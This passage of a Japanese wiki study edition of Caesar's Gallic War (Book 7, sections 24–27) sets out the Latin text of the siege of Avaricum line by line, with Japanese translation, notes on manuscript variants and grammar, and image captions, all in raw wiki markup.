**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:materiam#Latin|materiam]] だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:materiem#Latin|materiem]] となっている。&lt;br&gt;　　　　　　　　　文法学者[[w:カエサレアのプリスキアヌス|プリスキアーヌス]]は、カエサルの文法書 &quot;De Analogia&quot; について materiam と引用している。）&lt;/span&gt;
*[[wikt:en:pix#Latin|picem]] [[wikt:en:reliquus#Latin|reliquas]]&lt;nowiki&gt;que&lt;/nowiki&gt; res, quibus [[wikt:en:ignis#Latin|ignis]] [[wikt:en:excitari#Latin|excitari]] potest, [[wikt:en:fundebant#Latin|fundebant]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や、火を燃え立たせられるほかのもの&lt;small&gt;〔可燃物〕&lt;/small&gt;を注ぎ込んだ。
*ut, [[wikt:en:quo#Latin:_where|quo]] primum &lt;u&gt;curreretur&lt;/u&gt; aut cui rei [[wikt:en:ferretur#Latin|ferretur]] [[wikt:en:auxilium#Latin|auxilium]], 
**それで、まずどこに駆け付けるのか、あるいはどの事態に支援がなされるのか、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:curreretur#Latin|curreretur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:occurreretur#Latin|occurreretur]] となっている。）&lt;/span&gt;
*vix [[wikt:en:ratio#Latin|ratio]] [[wikt:en:iniri#Latin|iniri]] posset. 
**&lt;small&gt;（ローマ兵には）&lt;/small&gt;ほとんど分別され得なかった。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Tamen, quod [[wikt:en:institutum#Latin|instituto]] Caesaris &lt;u&gt;semper duae&lt;/u&gt; [[wikt:en:legio#Latin|legiones]] pro [[wikt:en:castra#Latin|castris]] [[wikt:en:excubabant#Latin|excubabant]] 
**しかしながら、カエサルの定めにより常に2個[[w:ローマ軍団|軍団]]が陣営の前に寝ずの番をしていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の語順では semper duae だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本の語順では duae semper となっている。）&lt;/span&gt;
*[[wikt:en:plus#Latin|plures]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:partitus#Latin|partitis]] [[wikt:en:tempus#Latin|temporibus]] erant in [[wikt:en:opus#Latin|opere]], 
**かつ、より多くの者たちが時間を割り当てられて作業していたので、
*celeriter [[wikt:en:factus#Latin|factum]] est, 
**&lt;small&gt;（防戦は）&lt;/small&gt;速やかになされた。
*ut &lt;u&gt;alii&lt;/u&gt; [[wikt:en:eruptio#Latin|eruptionibus]] [[wikt:en:resisterent#Latin|resisterent]], 
**ある者たちは&lt;small&gt;（ガッリア勢の）&lt;/small&gt;突撃に抵抗しており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：alii ～ alii …「～する者もいれば、…する者もいる。」）&lt;/span&gt;
*&lt;u&gt;alii&lt;/u&gt; [[wikt:en:turris#Latin|turres]] [[wikt:en:reducerent#Latin|reducerent]] 
**別のある者たちは[[w:攻城塔|攻城櫓]]を引き戻して、
*[[wikt:en:agger#Latin|aggerem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:interscinderent#Latin|interscinderent]], 
**土塁を&lt;small&gt;（城壁側から）&lt;/small&gt;切り離していた。
*omnis vero ex [[wikt:en:castra#Latin|castris]] [[wikt:en:multitudo#Latin|multitudo]] ad [[wikt:en:restinguendum#Verb|restinguendum]] [[wikt:en:concurreret#Latin|concurreret]].
**さらに陣営から大勢の皆が、消火するために急ぎ集まっていた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===25節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/25節]]　{{進捗|00%|2026-06-29}}&lt;/span&gt;
;籠城ガッリア勢が必死の防戦

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum in omnibus locis, &lt;u&gt;[[wikt:en:consumptus#Latin|consumpta]] iam reliqua parte noctis&lt;/u&gt;, [[wikt:en:pugnaretur#Latin|pugnaretur]], 
**&lt;u&gt;すでに夜も明けて&lt;/u&gt;、至る所で戦われていたときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の直訳は「すでに夜の残りの部分も費やされて」。）&lt;/span&gt;
*[[wikt:en:semper#Latin|semper]]&lt;nowiki&gt;que&lt;/nowiki&gt; hostibus [[wikt:en:spes#Latin|spes]] [[wikt:en:victoria#Latin|victoriae]] [[wikt:en:redintegraretur#Latin|redintegraretur]], 
**かつ、常に敵たちにとって勝利の希望が蘇っており、
*&lt;u&gt;eo magis, quod&lt;/u&gt; [[wikt:en:deustus#Latin|deustos]] [[wikt:en:pluteus#Latin|pluteos]] [[wikt:en:turris#Latin|turrium]] [[wikt:en:videbant#Latin|videbant]] nec facile [[wikt:en:adire#Latin|adire]] [[wikt:en:apertus#Latin|apertos]] ad [[wikt:en:auxiliandum#Verb|auxiliandum]]  [[wikt:en:animadvertebant#Latin|animadvertebant]], 
**&lt;span style=&quot;font-family:Times New Roman;font-size:11pt;&quot;&gt;[[w:攻城塔|攻城櫓]]の&lt;ruby&gt;&lt;rb&gt;障壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;プルテウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;焼き落された&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;デウストゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;のを見ていて、&lt;ruby&gt;&lt;rb&gt;身を曝した者&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アペルトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちが救援のために容易に近づけないのに気付いていた&lt;u&gt;のでなおさらだったが&lt;/u&gt;、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:eo magis quod|eo magis quod]] ～ 「～なので、その分だけ、より一層」。[[ガリア戦記 第3巻#14節|第3巻14節]]も参照。）&lt;/span&gt; 
*[[wikt:en:semper#Latin|semper]]&lt;nowiki&gt;que&lt;/nowiki&gt; ipsi [[wikt:en:recens#Adjective|recentes]] [[wikt:en:defessus#Latin|defessis]] [[wikt:en:succederent#Latin|succederent]] 
**常に彼ら自身&lt;small&gt;〔籠城ガッリア勢〕&lt;/small&gt;は新たな者たちが疲れ果てた者たちに交代しており、
*[[wikt:en:omnis#Latin|omnem]]&lt;nowiki&gt;que&lt;/nowiki&gt; Galliae [[wikt:en:salus#Latin|salutem]] &lt;u&gt;in illo [[wikt:en:vestigium#Latin|vestigio]] temporis [[wikt:en:positus#Participle|positam]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;small&gt;(esse)&lt;/small&gt;&lt;/span&gt;&lt;/u&gt; [[wikt:en:arbitrarentur#Latin|arbitrarentur]], 
**ガッリアのすべての安全が、&lt;u&gt;その瞬間にかかっている&lt;/u&gt;と思われていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の直訳は「その時の足跡（瞬間）に置かれている」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以上の cum ～ arbitrarentur, が状況や理由を説明する副文で、以下が主文となっている。）&lt;/span&gt;
*[[wikt:en:accidit#Etymology_1|accidit]] [[wikt:en:inspectans#Latin|inspectantibus]] nobis, 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;が見ているなかで起こったのは、
*[[wikt:en:quod#Pronoun|quod]] [[wikt:en:dignus#Latin|dignum]] [[wikt:en:memoria#Latin|memoria]] [[wikt:en:visus#Participle|visum]] [[wikt:en:praetereundus#Latin|praetereundum]] non [[wikt:en:existimavimus#Latin|existimavimus]]. 
**記憶に値すると思われたことを&lt;small&gt;（我がローマ勢が）&lt;/small&gt;見過ごすべきではないと考えていたことである。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この主文の主語を省略せずに記せば、以下のようになる。&lt;br&gt;　　　　[id], quod dignum memoria visum [esse] praetereundum [esse] non existimavimus.）&lt;/span&gt;

[[画像:048_Conrad_Cichorius,_Die_Reliefs_der_Traianssäule,_Tafel_XLVIII_(Ausschnitt 01).jpg|thumb|right|250px|&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を操作する[[w:ダキア人|ダキア人]]の彫刻（[[w:トラヤヌスの記念柱|トラヤヌス帝の記念柱]]に刻まれた[[w:レリーフ|レリーフ]]）。]]
[[画像:Balliste_fireing.jpg|thumb|right|250px|&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（[[w:en:Scorpio (dart-thrower)|Scorpio]]）の現代における復元。]]
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:quidam#Determiner|Quidam]] ante portam oppidi [[wikt:en:Gallus#Noun|Gallus]], &lt;u&gt;qui&lt;/u&gt; 
**城塞都市の城門の前にいた、ある&lt;small&gt;（1人の）&lt;/small&gt;ガッリア人が、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の qui は、&amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*per [[wikt:en:manus#Latin:_hand|manus]] [[wikt:en:sebum#Latin|sebi]] ac [[wikt:en:pix#Latin|picis]] [[wikt:en:traditus#Participle|traditas]] [[wikt:en:glaeba#Latin|glaebas]] 
**手から手へと渡された&lt;ruby&gt;&lt;rb&gt;獣脂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;セーブム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の塊を、
*in [[wikt:en:ignis#Latin|ignem]] &lt;u&gt;e regione&lt;/u&gt; turris [[wikt:en:proiciebat#Latin|proiciebat]]: 
**攻城櫓の正面にある火炎の中に投げ込んでいたが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
*[[wikt:en:scorpio#Latin|scorpione]] ab [[wikt:en:latus#Latin:_side|latere]] [[wikt:en:dexter#Latin|dextro]] [[wikt:en:traiectus#Participle|traiectus]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で右の横腹を射られて、
*[[wikt:en:exanimatus#Latin|exanimatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:concidit#Verb|concidit]]. 
**息絶えて倒れた。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Hunc ex [[wikt:en:proximus#Noun|proximis]] unus [[wikt:en:iacens#Latin|iacentem]] [[wikt:en:transgressus#Latin|transgressus]] 
**彼が倒れているのを、すぐ近くの者たちのうちの1人が乗り越えて、
*[[wikt:en:idem#Latin|eodem]] illo [[wikt:en:munus#Latin|munere]] [[wikt:en:fungebatur#Latin|fungebatur]]; 
**その同じ&lt;ruby&gt;&lt;rb&gt;任務&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムーヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を果たしていた。
*[[wikt:en:idem#Latin|Eadem]] [[wikt:en:ratio#Latin|ratione]] [[wikt:en:ictus#Noun_4|ictu]] [[wikt:en:scorpio#Latin|scorpionis]] [[wikt:en:exanimatus#Latin|exanimato]] 
**&lt;small&gt;（その第2の者が）&lt;/small&gt;同様に&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の射撃で息絶えさせられると
*alteri [[wikt:en:successit#Latin|successit]] tertius 
**&lt;small&gt;（息絶えた）&lt;/small&gt;第2の者に第3の者が代わって、
*et tertio quartus, 
**&lt;small&gt;（さらに）&lt;/small&gt;第3の者に第4の者が&lt;small&gt;（代わった）&lt;/small&gt;。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; &lt;u&gt;nec prius&lt;/u&gt; ille est a [[wikt:en:propugnator#Latin|propugnatoribus]] [[wikt:en:vacuus#Latin|vacuus]] [[wikt:en:relictus#Participle|relictus]] locus 
**防戦者たちは、持ち場を放棄することがなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：直訳は「その場（ille locus）は、防戦者たちによって空&lt;small&gt;〔無人〕&lt;/small&gt;にして置かれることがなかった。」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：nec [[wikt:en:prius#Adverb|prius]] ～ [[wikt:en:quam#Conjunction|quam]] …「…するまでは～しなかった」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; [[wikt:en:restinctus#Latin|restincto]] [[wikt:en:agger#Latin|aggere]] atque &lt;u&gt;omni ex parte&lt;/u&gt; [[wikt:en:submotus#Latin|submotis]] hostibus [[wikt:en:finis#Latin:_end|finis]] est [[wikt:en:pugnandi#Verb|pugnandi]] [[wikt:en:factus#Latin:_done|factus]].
**&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が鎮火されて、そのすべての方面から敵たちが追い払われて、戦いに終止符が打たれる&lt;u&gt;までは&lt;/u&gt;。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、omni &lt;u&gt;ex&lt;/u&gt; parte は ''[[ガリア戦記/注解編/写本と校訂版#Ciacconius|Ciacconius]]'' による修正で、&lt;br&gt;　　　　&amp;alpha;系写本では omni &lt;u&gt;ea&lt;/u&gt; parte &lt;br&gt;　　　　&amp;beta;系写本では omni parte となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===26節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/26節]]　{{進捗|00%|2026-07-13}}&lt;/span&gt;
;アウァーリクム脱出の企て、女たちの絶叫
:　
;　　　万策尽きたガッリア勢が、アウァーリクム脱出を企てる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:omnia#Noun|Omnia]] [[wikt:en:expertus#Participle|experti]] [[wikt:en:Galli#Latin|Galli]], 
**ガッリア人たちはあらゆることを試みたが、
*quod res [[wikt:en:nullus#Determiner|nulla]] [[wikt:en:successerat#Latin|successerat]], 
**何ら事が成功しなかったので、
*[[wikt:en:posterus#Latin|postero]] die [[wikt:en:consilium#Latin|consilium]] [[wikt:en:ceperunt#Latin|ceperunt]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:profugio#Latin|profugere]], 
**&lt;small&gt;（戦いの夜が明けて）&lt;/small&gt;翌日には、&lt;small&gt;（アウァーリクムの）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;城塞都市&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;から退避する計画を立てた。
*[[wikt:en:hortans#Latin|hortante]] et [[wikt:en:iubens#Latin|iubente]] [[wikt:en:Vercingetorix#Latin|Vercingetorige]]. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]によって促され、命じられたものであった。
:　
;　　　脱出をはかるガッリア勢の期待とその理由
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Id [[wikt:en:silentium#Latin|silentio]] noctis [[wikt:en:conatus#Participle|conati]] 
**そのこと&lt;small&gt;〔アウァーリクムからの退避〕&lt;/small&gt;を夜の静けさのうちに試みても、
*non magna &lt;u&gt;iactura&lt;/u&gt; suorum 
**味方の大きな&lt;ruby&gt;&lt;rb&gt;犠牲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ヤクトゥーラ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;もなしに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:iactura#Noun|iactura]] は「投げ捨てること」、比喩的に「損害、犠牲」。）&lt;/span&gt;
*sese [[wikt:en:effecturus#Latin|effecturos]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;small&gt;(esse)&lt;/small&gt;&lt;/span&gt; [[wikt:en:sperabant#Latin|sperabant]], 
**自分たちは成し遂げるだろうと期待していた。
*&lt;u&gt;propterea quod&lt;/u&gt; &lt;u&gt;neque&lt;/u&gt; longe ab oppido [[wikt:en:castra#Latin|castra]] [[wikt:en:Vercingetorix#Latin|Vercingetorigis]] [[wikt:en:aberant#Latin|aberant]], 
**──というのも、ウェルキンゲトリークスの陣営は&lt;small&gt;（アウァーリクムの）&lt;/small&gt;&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;城塞都市&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からあまり離れていなかったし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:propterea_quod#Latin|propterea quod]] ～「なぜなら～からである」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：neque ～  et …「～ではなく、…である」）&lt;/span&gt;
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:palus#Latin|palus]], &lt;u&gt;quae [[wikt:en:perpetuus#Latin|perpetua]]&lt;/u&gt; [[wikt:en:intercedebat#Latin|intercedebat]], [[wikt:en:Romani#Latin|Romanos]] ad [[wikt:en:insequendum#Verb|insequendum]] [[wikt:en:tardabat#Latin|tardabat]]. 
**沼地も絶え間なく介在していて、ローマ人たちの追跡を遅らせていたからだ。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、&amp;alpha;系写本の語順は quae perpetua だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本の語順は perpetua quae となっている。）&lt;/span&gt;
:　
;　　　母親たちが男たちに、女子供を置き去りにして敵のいけにえにするな、と哀願する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:iam#Latin|Iam]]&lt;nowiki&gt;que&lt;/nowiki&gt; &lt;u&gt;hoc&lt;/u&gt; facere [[wikt:en:noctu#Latin|noctu]] [[wikt:en:apparabant#Latin|apparabant]], 
**すでに、&lt;u&gt;このことを&lt;/u&gt;実行することを夜間に準備していた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では [[wikt:en:haec#Latin|haec]]&lt;sub&gt;&amp;nbsp;(中性･複数･対格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|ed.pr]] では [[wikt:en:hoc#Latin:_this|hoc]]&lt;sub&gt;&amp;nbsp;(中性･単数･対格)&lt;/sub&gt; としている。）&lt;/span&gt;
*&lt;u&gt;cum&lt;/u&gt; [[wikt:en:mater#Latin|matres]] [[wikt:en:familia#Latin|familiae]] [[wikt:en:repente#Adverb_2|repente]] in [[wikt:en:publicum#Noun|publicum]] [[wikt:en:procurrerunt#Latin|procurrerunt]], 
**そのときに家族の母親たちが不意に公の場に走り出て来て、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の cum は、「倒逆のcum」（[[wikt:en:cum inversum|cum inversum]]）と呼ばれ、&lt;br&gt;　　　　cum 以下 ～ impediret までの副文が、上記の主文よりも重要な構文の中心になる。）&lt;/span&gt;
*[[wikt:en:flens#Latin|flentes]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:proiectus#Latin|proiectae]] ad [[wikt:en:pes#Latin|pedes]] suorum 
**泣きながら、味方&lt;small&gt;（の男たち）&lt;/small&gt;の足元に&lt;small&gt;（身を）&lt;/small&gt;投げ出して、
*omnibus [[wikt:en:prex#Latin|precibus]] [[wikt:en:petierunt#Latin|petierunt]], 
**あらゆる懇願でもって頼んだ。
*ne se et [[wikt:en:communis#Latin|communes]] [[wikt:en:liberi#Noun_2|liberos]] hostibus ad [[wikt:en:supplicium#Latin|supplicium]] [[wikt:en:dederent#Latin|dederent]], 
**自分たち&lt;small&gt;〔女たち〕&lt;/small&gt;と&lt;small&gt;（男たちとの）&lt;/small&gt;共通の子供たちを、処刑されることのために敵方に引き渡さないで、
*&lt;u&gt;quos&lt;/u&gt; ad [[wikt:en:capiendus#Latin|capiendam]] [[wikt:en:fuga#Latin|fugam]] [[wikt:en:natura#Latin|naturae]] et [[wikt:en:vis#Latin|virium]] [[wikt:en:infirmitas#Latin|infirmitas]] [[wikt:en:impediret#Latin|impediret]]. 
**それらの者&lt;small&gt;〔女子供たち〕&lt;/small&gt;が逃亡をとるためには、性質や体力の弱さが、妨げるのだ、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:quos#Latin|quos]]&lt;sub&gt;&amp;nbsp;(男性･複数･対格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:quas#Latin|quas]]&lt;sub&gt;&amp;nbsp;(女性･複数･対格)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　
;　　　窮した母親たちが、男たちの脱出の兆候をローマ人に伝えようとする
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:ubi#Latin|Ubi]] eos in [[wikt:en:sententia#Latin|sententia]] [[wikt:en:perstare#Latin|perstare]] [[wikt:en:viderunt#Latin|viderunt]], 
**彼ら&lt;small&gt;〔男たち〕&lt;/small&gt;が&lt;small&gt;（女･子供を置き去りで脱出するという）&lt;/small&gt;意思を固持していると&lt;small&gt;〔女たちが〕&lt;/small&gt;見て取るや、
*[[wikt:en:quod#Conjunction|quod]] [[wikt:en:plerumque#Adverb|plerumque]] in [[wikt:en:summus#Latin|summo]] [[wikt:en:periculum#Latin|periculo]] [[wikt:en:timor#Latin|timor]] [[wikt:en:misericordia#Latin|misericordiam]] non [[wikt:en:recipit#Latin|recipit]], 
**──というのは、たいてい最大級の危険においては、恐怖が&lt;ruby&gt;&lt;rb&gt;憐憫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れんびん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;情&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を受け入れないものであるからだが、──
*[[wikt:en:conclamo#Latin|conclamare]] et [[wikt:en:significo#Latin|significare]] de [[wikt:en:fuga#Latin|fuga]] [[wikt:en:Romani#Latin|Romanis]] [[wikt:en:coeperunt#Latin|coeperunt]]. 
**&lt;small&gt;（女たちは）&lt;/small&gt;叫び声を上げて、ローマ人たちに&lt;small&gt;（男たちの）&lt;/small&gt;逃亡について知らしめ始めた。
:　
;　　　ガッリア勢の男たちが、ローマ側の騎兵隊を恐れて、アウァーリクム脱出を断念する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:qui#Determiner|Quo]] [[wikt:en:timor#Latin|timore]] [[wikt:en:perterritus#Latin|perterriti]] [[wikt:en:Galli#Latin|Galli]], 
**&lt;small&gt;（女たちがローマ側へ男たちの脱出について報知したことで）&lt;/small&gt;その恐怖によって脅かされたガッリア人&lt;small&gt;（の男）&lt;/small&gt;たちは、
*[[wikt:en:ne#Latin:_no|ne]] ab [[wikt:en:equitatus#Latin|equitatu]] Romanorum [[wikt:en:via#Latin|viae]] [[wikt:en:praeoccuparentur#Latin|praeoccuparentur]], 
**ローマ方の[[w:騎兵|騎兵隊]]によって道があらかじめ占拠されないように、
*[[wikt:en:consilium#Latin|consilio]] [[wikt:en:destiterunt#Latin|destiterunt]].
**&lt;small&gt;（アウァーリクムからの脱出の）&lt;/small&gt;計画を取り止めた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===27節===
[[画像:Avaricum_westpoint_july_2006.jpg|thumb|right|300px|[[w:アウァリクム包囲戦|アウァーリクム攻略戦]]の[[w:ジオラマ|ジオラマ]]（再掲；[[w:陸軍士官学校 (アメリカ合衆国)|米国陸軍士官学校]]博物館）。ローマ軍の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の周辺には、&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（vinea）の両端を開いて多数つないだ廊下状の通路（坑道）が延びている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/27節]]　{{進捗|00%|2026-08-01}}&lt;/span&gt;
;ローマ軍が大雨の中でアウァーリクムの城壁を占拠
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Postero die Caesar, 
**翌日にカエサルは、
*[[wikt:en:promotus#Latin|promota]] [[wikt:en:turris#Latin|turri]] 
**&lt;small&gt;（後退していた）&lt;/small&gt;[[w:攻城塔|攻城櫓]]&lt;small&gt;（の1基）&lt;/small&gt;が前進させられて、
*&lt;u&gt;perfectis&lt;/u&gt;&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:opus#Latin|operibus]], quae facere [[wikt:en:instituerat#Latin|instituerat]], 
**実施を定めていた作業が&lt;u&gt;成し遂げられると&lt;/u&gt;、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;pi;系写本では [[wikt:en:perfectis#Latin|perfectīs]] 「完成されると」だが、&lt;br&gt;　　　　　&amp;alpha;系･&amp;rho;系写本では [[wikt:en:derectis#Latin|dērēctīs]] 「整えられると」&lt;br&gt;　　　　となっている。）&lt;/span&gt;
*magno [[wikt:en:coortus#Latin|coorto]] &lt;u&gt;imbre&lt;/u&gt; 
**激しい嵐が起こったが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:imbre#Latin|imbre]] だが、&amp;beta;系写本では [[wikt:en:imbri#Latin|imbri]] となっている。）&lt;/span&gt;
*non [[wikt:en:inutilis#Latin|inutilem]] hanc ad [[wikt:en:capiendus#Latin|capiendum]] [[wikt:en:consilium#Latin|consilium]] [[wikt:en:tempestas#Latin|tempestatem]] &lt;u&gt;arbitratus est&lt;/u&gt;, 
